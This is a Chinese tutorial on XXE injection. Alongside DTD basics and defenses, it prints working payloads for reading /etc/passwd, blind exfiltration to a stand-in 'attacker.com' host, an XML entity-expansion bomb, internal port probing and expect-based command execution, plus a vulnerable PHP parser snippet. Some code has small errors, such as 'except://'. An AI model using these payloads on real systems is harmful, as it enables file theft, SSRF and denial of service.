XML外部实体注入
字数 1180 2025-08-18 17:33:40

XML外部实体注入(XXE)漏洞全面解析

1. XML基础概念

XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有以下特点:

  • 类似HTML但设计用于传输和存储数据
  • 跨平台、跨语言的数据交互标准
  • 广泛应用于配置文件和应用程序数据交换

XML语法规则:

  1. 元素必须有关闭标签
  2. 标签对大小写敏感
  3. 必须正确嵌套
  4. 文档必须有根元素
  5. 属性值必须加引号

XML文档结构:

  1. XML文档声明(第一行)
  2. 文档类型定义(DTD,XXE漏洞所在)
  3. XML文档元素

2. DTD(文档类型定义)详解

DTD定义了XML文档的合法构建模块,是XXE漏洞的关键所在。

DTD的三种应用形式:

  1. 内部DTD
<!DOCTYPE 根元素[定义内容]>
  1. 外部DTD
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
  1. 内外部DTD结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

DTD实体类型

  1. 内部实体
<!ENTITY 实体名称 "实体的值">
  1. 外部实体
<!ENTITY 实体名称 SYSTEM "URL">

支持协议:file://, http://, php://filter

  1. 参数实体
<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">

3. XXE漏洞原理与危害

XXE(XML External Entity)漏洞发生在应用程序解析XML输入时,允许引用外部实体。

漏洞危害:

  1. 任意文件读取
  2. 服务器端请求伪造(SSRF)
  3. 内网端口扫描
  4. 拒绝服务攻击(DoS)
  5. 远程代码执行(特定条件下)

4. XXE攻击方式详解

4.1 有回显的文件读取

测试代码

<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>

Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

4.2 无回显的文件读取(Blind XXE)

使用外带数据(OOB)技术:

Payload

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.xml">
%dtd;
%send;
]>

evil.xml内容

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?content=%file;'>">
%payload;

4.3 拒绝服务攻击(XML炸弹)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

4.4 内网探测

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<root>

通过响应判断端口是否开放。

4.5 命令执行(需expect扩展)

<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>

5. XXE漏洞防御措施

  1. 禁用外部实体

    • PHP:libxml_disable_entity_loader(true);
    • Java:设置DocumentBuilderFactorysetFeature方法
  2. 使用安全的XML解析器

    • 使用不解析DTD的解析器
    • 如Python的defusedxml
  3. 输入验证

    • 过滤<!DOCTYPE<!ENTITY等关键字
  4. 限制实体大小

    • 防止XML炸弹攻击
  5. 使用JSON替代XML

    • 在不需要XML的场景下使用更安全的JSON

6. 实战测试建议

  1. 测试所有XML输入点
  2. 尝试修改Content-Type为application/xml
  3. 检查SOAP请求
  4. 测试文件上传功能(如SVG、DOCX等包含XML的文件)
  5. 测试PDF文件处理(某些PDF解析器会处理XML)

7. 参考资源

  1. OWASP XXE备忘单
  2. PortSwigger XXE实验室
  3. 先知社区XXE相关文章
  4. phpaudit-XXE靶场
  5. xxe-lab练习环境

通过系统学习XXE漏洞的原理、利用方式和防御措施,安全人员可以更好地发现和防范此类漏洞,保护Web应用安全。

XML外部实体注入(XXE)漏洞全面解析 1. XML基础概念 XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有以下特点: 类似HTML但设计用于传输和存储数据 跨平台、跨语言的数据交互标准 广泛应用于配置文件和应用程序数据交换 XML语法规则: 元素必须有关闭标签 标签对大小写敏感 必须正确嵌套 文档必须有根元素 属性值必须加引号 XML文档结构: XML文档声明(第一行) 文档类型定义(DTD,XXE漏洞所在) XML文档元素 2. DTD(文档类型定义)详解 DTD定义了XML文档的合法构建模块,是XXE漏洞的关键所在。 DTD的三种应用形式: 内部DTD : 外部DTD : 内外部DTD结合 : DTD实体类型 内部实体 : 外部实体 : 支持协议: file:// , http:// , php://filter 等 参数实体 : 3. XXE漏洞原理与危害 XXE(XML External Entity)漏洞发生在应用程序解析XML输入时,允许引用外部实体。 漏洞危害: 任意文件读取 服务器端请求伪造(SSRF) 内网端口扫描 拒绝服务攻击(DoS) 远程代码执行(特定条件下) 4. XXE攻击方式详解 4.1 有回显的文件读取 测试代码 : Payload : 4.2 无回显的文件读取(Blind XXE) 使用外带数据(OOB)技术: Payload : evil.xml内容 : 4.3 拒绝服务攻击(XML炸弹) 4.4 内网探测 通过响应判断端口是否开放。 4.5 命令执行(需expect扩展) 5. XXE漏洞防御措施 禁用外部实体 : PHP: libxml_disable_entity_loader(true); Java:设置 DocumentBuilderFactory 的 setFeature 方法 使用安全的XML解析器 : 使用不解析DTD的解析器 如Python的 defusedxml 输入验证 : 过滤 <!DOCTYPE 和 <!ENTITY 等关键字 限制实体大小 : 防止XML炸弹攻击 使用JSON替代XML : 在不需要XML的场景下使用更安全的JSON 6. 实战测试建议 测试所有XML输入点 尝试修改Content-Type为 application/xml 检查SOAP请求 测试文件上传功能(如SVG、DOCX等包含XML的文件) 测试PDF文件处理(某些PDF解析器会处理XML) 7. 参考资源 OWASP XXE备忘单 PortSwigger XXE实验室 先知社区XXE相关文章 phpaudit-XXE靶场 xxe-lab练习环境 通过系统学习XXE漏洞的原理、利用方式和防御措施,安全人员可以更好地发现和防范此类漏洞,保护Web应用安全。